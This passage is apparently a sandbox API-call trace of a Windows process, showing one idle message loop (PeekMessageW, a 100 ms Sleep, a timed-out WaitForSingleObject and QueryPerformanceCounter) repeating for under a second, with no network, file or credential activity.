[0138.721] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.722] Sleep (dwMilliseconds=0x64) [0138.736] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.736] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737681394) returned 1 [0138.736] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737681571) returned 1 [0138.737] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.737] Sleep (dwMilliseconds=0x64) [0138.752] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.752] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737734971) returned 1 [0138.752] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737735155) returned 1 [0138.753] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.753] Sleep (dwMilliseconds=0x64) [0138.768] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.769] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737791599) returned 1 [0138.769] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737791780) returned 1 [0138.769] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.770] Sleep (dwMilliseconds=0x64) [0138.783] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.783] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737841353) returned 1 [0138.783] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737841530) returned 1 [0138.784] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.784] Sleep (dwMilliseconds=0x64) [0138.799] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.799] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737894529) returned 1 [0138.799] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737894693) returned 1 [0138.799] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.800] Sleep (dwMilliseconds=0x64) [0138.814] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.814] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=737948353) returned 1 [0138.814] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=737948541) returned 1 [0138.815] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.816] Sleep (dwMilliseconds=0x64) [0138.831] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.831] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738005429) returned 1 [0138.831] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738005609) returned 1 [0138.832] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.832] Sleep (dwMilliseconds=0x64) [0138.845] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.845] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738054630) returned 1 [0138.846] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738054798) returned 1 [0138.846] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.847] Sleep (dwMilliseconds=0x64) [0138.861] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.861] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738107983) returned 1 [0138.861] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738108167) returned 1 [0138.862] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.862] Sleep (dwMilliseconds=0x64) [0138.877] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.877] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738163627) returned 1 [0138.877] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738163794) returned 1 [0138.878] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.878] Sleep (dwMilliseconds=0x64) [0138.892] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.892] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738214663) returned 1 [0138.892] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738214831) returned 1 [0138.893] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.893] Sleep (dwMilliseconds=0x64) [0138.908] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.908] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738267934) returned 1 [0138.908] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738268117) returned 1 [0138.909] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.909] Sleep (dwMilliseconds=0x64) [0138.923] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.923] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738321235) returned 1 [0138.924] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738321406) returned 1 [0138.924] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.925] Sleep (dwMilliseconds=0x64) [0138.939] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.939] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738374963) returned 1 [0138.939] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738375134) returned 1 [0138.940] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.940] Sleep (dwMilliseconds=0x64) [0138.955] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.955] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738427899) returned 1 [0138.955] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738428055) returned 1 [0138.955] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.956] Sleep (dwMilliseconds=0x64) [0138.970] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.970] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738481280) returned 1 [0138.970] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738481467) returned 1 [0138.971] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.971] Sleep (dwMilliseconds=0x64) [0138.992] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0138.992] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738555742) returned 1 [0138.992] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738555897) returned 1 [0138.993] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0138.993] Sleep (dwMilliseconds=0x64) [0139.002] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.002] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738588203) returned 1 [0139.002] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738588381) returned 1 [0139.002] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.003] Sleep (dwMilliseconds=0x64) [0139.017] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.017] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738641854) returned 1 [0139.017] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738642010) returned 1 [0139.018] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.018] Sleep (dwMilliseconds=0x64) [0139.033] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.033] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738695305) returned 1 [0139.033] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738695458) returned 1 [0139.033] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.034] Sleep (dwMilliseconds=0x64) [0139.048] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.048] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738747825) returned 1 [0139.048] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738748013) returned 1 [0139.049] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.049] Sleep (dwMilliseconds=0x64) [0139.064] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.064] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738801414) returned 1 [0139.064] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738801570) returned 1 [0139.065] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.065] Sleep (dwMilliseconds=0x64) [0139.080] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.080] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738855434) returned 1 [0139.080] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738855587) returned 1 [0139.080] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.081] Sleep (dwMilliseconds=0x64) [0139.096] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.096] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738909758) returned 1 [0139.096] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738909945) returned 1 [0139.096] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.097] Sleep (dwMilliseconds=0x64) [0139.111] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.111] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=738961102) returned 1 [0139.111] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=738961281) returned 1 [0139.111] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.112] Sleep (dwMilliseconds=0x64) [0139.126] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.127] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739015275) returned 1 [0139.127] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739015439) returned 1 [0139.127] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.128] Sleep (dwMilliseconds=0x64) [0139.142] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.142] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739067767) returned 1 [0139.142] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739067942) returned 1 [0139.142] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.143] Sleep (dwMilliseconds=0x64) [0139.158] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.158] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739123970) returned 1 [0139.158] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739124138) returned 1 [0139.159] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.159] Sleep (dwMilliseconds=0x64) [0139.173] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.173] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739174929) returned 1 [0139.173] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739175114) returned 1 [0139.174] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.174] Sleep (dwMilliseconds=0x64) [0139.189] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.189] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739227953) returned 1 [0139.189] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739228138) returned 1 [0139.189] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.190] Sleep (dwMilliseconds=0x64) [0139.205] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.205] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739283161) returned 1 [0139.205] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739283341) returned 1 [0139.206] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.206] Sleep (dwMilliseconds=0x64) [0139.220] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.220] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739334405) returned 1 [0139.220] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739334584) returned 1 [0139.221] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.221] Sleep (dwMilliseconds=0x64) [0139.235] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.236] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739387675) returned 1 [0139.236] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739387861) returned 1 [0139.236] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.237] Sleep (dwMilliseconds=0x64) [0139.251] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.251] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739441356) returned 1 [0139.251] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739441543) returned 1 [0139.252] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.252] Sleep (dwMilliseconds=0x64) [0139.267] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.267] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739494307) returned 1 [0139.267] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739494487) returned 1 [0139.267] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.268] Sleep (dwMilliseconds=0x64) [0139.282] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.282] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739547559) returned 1 [0139.282] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739547735) returned 1 [0139.283] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.283] Sleep (dwMilliseconds=0x64) [0139.298] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.299] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739603068) returned 1 [0139.299] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739603224) returned 1 [0139.299] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.300] Sleep (dwMilliseconds=0x64) [0139.314] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.314] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739656832) returned 1 [0139.314] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739656998) returned 1 [0139.315] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.315] Sleep (dwMilliseconds=0x64) [0139.332] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739717682) returned 1 [0139.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739717848) returned 1 [0139.333] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.333] Sleep (dwMilliseconds=0x64) [0139.345] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.345] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739760877) returned 1 [0139.345] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739761055) returned 1 [0139.345] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.346] Sleep (dwMilliseconds=0x64) [0139.361] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.361] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739816853) returned 1 [0139.361] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739817018) returned 1 [0139.362] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.362] Sleep (dwMilliseconds=0x64) [0139.376] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.376] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739867869) returned 1 [0139.376] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739868042) returned 1 [0139.377] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.377] Sleep (dwMilliseconds=0x64) [0139.391] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.392] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739920871) returned 1 [0139.392] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739921059) returned 1 [0139.392] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.393] Sleep (dwMilliseconds=0x64) [0139.407] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.407] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=739974183) returned 1 [0139.407] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=739974363) returned 1 [0139.408] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.408] Sleep (dwMilliseconds=0x64) [0139.423] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.423] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740029450) returned 1 [0139.423] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740029617) returned 1 [0139.424] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.424] Sleep (dwMilliseconds=0x64) [0139.438] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.438] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740081291) returned 1 [0139.438] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740081458) returned 1 [0139.439] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.440] Sleep (dwMilliseconds=0x64) [0139.454] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.454] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740134053) returned 1 [0139.454] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740134219) returned 1 [0139.454] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.455] Sleep (dwMilliseconds=0x64) [0139.469] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.470] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740187511) returned 1 [0139.470] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740187681) returned 1 [0139.470] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.471] Sleep (dwMilliseconds=0x64) [0139.500] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740292653) returned 1 [0139.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740292826) returned 1 [0139.501] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0139.502] Sleep (dwMilliseconds=0x64) [0139.516] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0139.516] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=740347448) returned 1 [0139.516] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=740347634) returned 1 